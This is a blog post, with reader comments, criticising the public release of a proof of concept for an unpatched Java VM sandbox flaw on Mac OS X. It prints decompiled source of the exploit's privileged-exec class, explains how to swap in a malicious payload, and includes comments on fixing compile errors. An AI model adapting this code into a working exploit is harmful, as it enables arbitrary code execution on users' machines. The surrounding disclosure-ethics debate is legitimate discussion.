Unresponsible Disclosure: The MacOS X Java Bug
Landon Fuller decided to publish a proof of concept for a Sun Java VM vulnerability, that is still unpatched on Mac OS X. I agree that after this timespan, it was neccessary to demonstrate how easy it is to exploit this vulnerability; however, he decided to make it trivial to build your own exploit from it.
You can easily fetch HelloWorldApplet.class from his page and look at a decompiled version by JAD. He uses his own loader package fun.FunLoader, so grab fun/FunLoader.class as well. HelloWorldApplet also uses javax/Exec.class and Exec$1.class, and if we decompile that, it is trivial to spot, how to craft your own exploit:
package javax;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class Exec
{
public Exec()
{
try
{
final String cmd[] = {
"/usr/bin/say", "I am executing an innocuous user process"
};
AccessController.doPrivileged(new PrivilegedExceptionAction() {
public Object run()
throws Exception
{
Runtime.getRuntime().exec(cmd);
return null;
}
final String val$cmd[];
final Exec this$0;
{
this$0 = Exec.this;
cmd = as;
super();
}
});
}
catch(Exception exception)
{
throw new RuntimeException("Exec failed", exception);
}
}
}
You can even recycle all .class files and his t.tmp serialized input stream, just replace Exec.class in your local copy with your malicious payload.
Now this is unresponsible disclosure if it is so dead-easy to build your own exploit from it, it's almost easier than writing a custom shellcode for an existing exploit.
Labels: exploitation, malware



13 Comments:
I get 3 errors compiling this file:
Exec.java:36: cannot assign a value to final variable cmd
cmd = as;
Exec.java:36: cannot find symbol
symbol: variable as
cmd = as;
Exec.java:37: call to super must be first statement in constructor
super();
Did you try to compile it yourself?
This is of course just a decompiled version that won't compile out of the box. It is more than trivial to fix, though.
...more than trivial to fix
Well, I can not get it to compile, as I don't understand these lines at all:
{
this$0 = Exec.this;
cmd = as;
super();
}
What exactly is this supposed to be? A codeblock?
And what is it supposed to do.
I have never used a decompiler so far and I am doing this only for my own education. Can you give me some advice?
I think it's remarkably unfair to call this demonstration irresponsible. The vulnerability was public knowledge, instructions for writing an exploit were easily available, the exploit is remarkably trivial to write, and exploits were already available in the wild.
Most importantly, a simple work-around is available for users, and knowledge of the issue allows them to avoid compromise.
Still you're allowing any Black Hat to create an exploit by just implementing the Payload and copying the rest from your site. If you had tied the Exec.class code more to the FunLoader.class code, it might have been not so easy.
Releasing a PoC is always dangerous.
I'm going to agree with the author. I think releasing the PoC was irresponsible. Sounds like someone was trying to make a name for themselves rather than trying to protect users.
Security researchers first concern should be protecting the masses rather than getting some fame.
Lame.
Georg -- You're making it easier for any blackhat to produce an exploit just by copying the decompiled code from your website.
I think exactly pointing out how and where to implement the payload so that even dumb script kiddies can brew their own exploit is at least as irresponsible as the criticized behaviour.
www.illegalaccess.org posts how to DIY-fix this vulnerability
You should pull this post. You look pretty silly complaining about someone else's "irresponsible" disclosure of a binary while providing decompiled source to give the kiddies everything they need to make use of it.
Although I guess that's nothing on your previous post where you divulge a massive quantity of university e-mail addresses ...
Seems like you're just looking for some attention and a gold star -- "look at me, I can operate jad".
the exploit wont even compile, contains a Super constructor in the wrong place(ie jad is having issues and showing its age here).
Until a clean compile of exec.jad is obtained then NO this posting is no threat at all. I suspect a classdump of Exec.class is in order here.
http://java.sun.com/docs/books/tutorial/java/IandI/super.html will explain the use of the super constructor and until the correct code is produced the disassembly will NOT be a toolkit for scriptkiddies,While it may have been trivial to write , a jad disassembly of same while it gives the gist of the POC is NOT a danger
A search for JAD bugs yields
http://snowmail.sn.funpic.de/tide/extbugs.htm
Bugs found in the external tools used by tIDE
* The JAD decompiler sometimes put constructor super() calls at the end of the reconstructed constructors. That is an invalid syntax, the unique super call must be the first statement of the constructor block. Status: not fixed yet [July2006].
that gets rid of one of the compilation errors!
Move the super() constructor to the beginning of the constructor block :)
Agreeing with the previous poster: this posting is not a danger. Anyone capable of getting this to build should be capable of creating that decompile herself.
En contraire, I think that publishing this example demonstrates the danger of this bug and hopefully draws enough attention to it to get it fixed.
It's the bug in Java what's dangerous, not the coumentation of it.
Post a Comment
Links to this post:
Create a Link
<< Home